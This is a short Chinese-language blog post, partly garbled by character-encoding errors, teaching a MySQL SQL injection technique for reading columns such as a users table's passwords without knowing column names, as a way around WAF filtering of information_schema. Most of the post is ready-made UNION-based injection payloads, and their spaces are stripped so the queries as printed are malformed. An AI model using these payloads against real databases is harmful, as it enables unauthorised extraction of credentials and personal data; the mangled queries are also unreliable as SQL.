
0x00 簡介
在 mysql => 5 的版本中存在庫information_schema,記錄著mysql中所有表的結(jié)構(gòu),通常,在mysql sqli中,我們會通過此庫中的表去獲取其他表的結(jié)構(gòu),即表名,列名等。但是這個庫也會經(jīng)常被WAF過濾。當(dāng)我們通過暴力破解獲取到表名后,該如何進(jìn)行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,還有INNODB_TABLES及INNODB_COLUMNS中記錄著表結(jié)構(gòu)。
正常的查詢?nèi)缦拢?/p>

其中,列名為id,name,pass,mail,phone,使用union查詢
select1,2,3,4,5unionselect*fromusers;

接著,就可以繼續(xù)使用數(shù)字來對應(yīng)列,如3對應(yīng)了表里面的pass:
select`3`from (select1,2,3,4,5unionselect*fromusers)a;

當(dāng)? ` 不能使用的時(shí)候,使用別名來代替:
selectb from (select1,2,3asb,4,5unionselect*fromusers)a;

在注入中查詢多個列:
selectconcat(`2`,0x3a,`3`) from (select1,2,3,4,5unionselect*fromusers)alimit1,1;

FROM:Extracting data without knowing columns names
更多精彩內(nèi)容請關(guān)注公眾號Kay0898,干貨請加入知識星球ID:19483446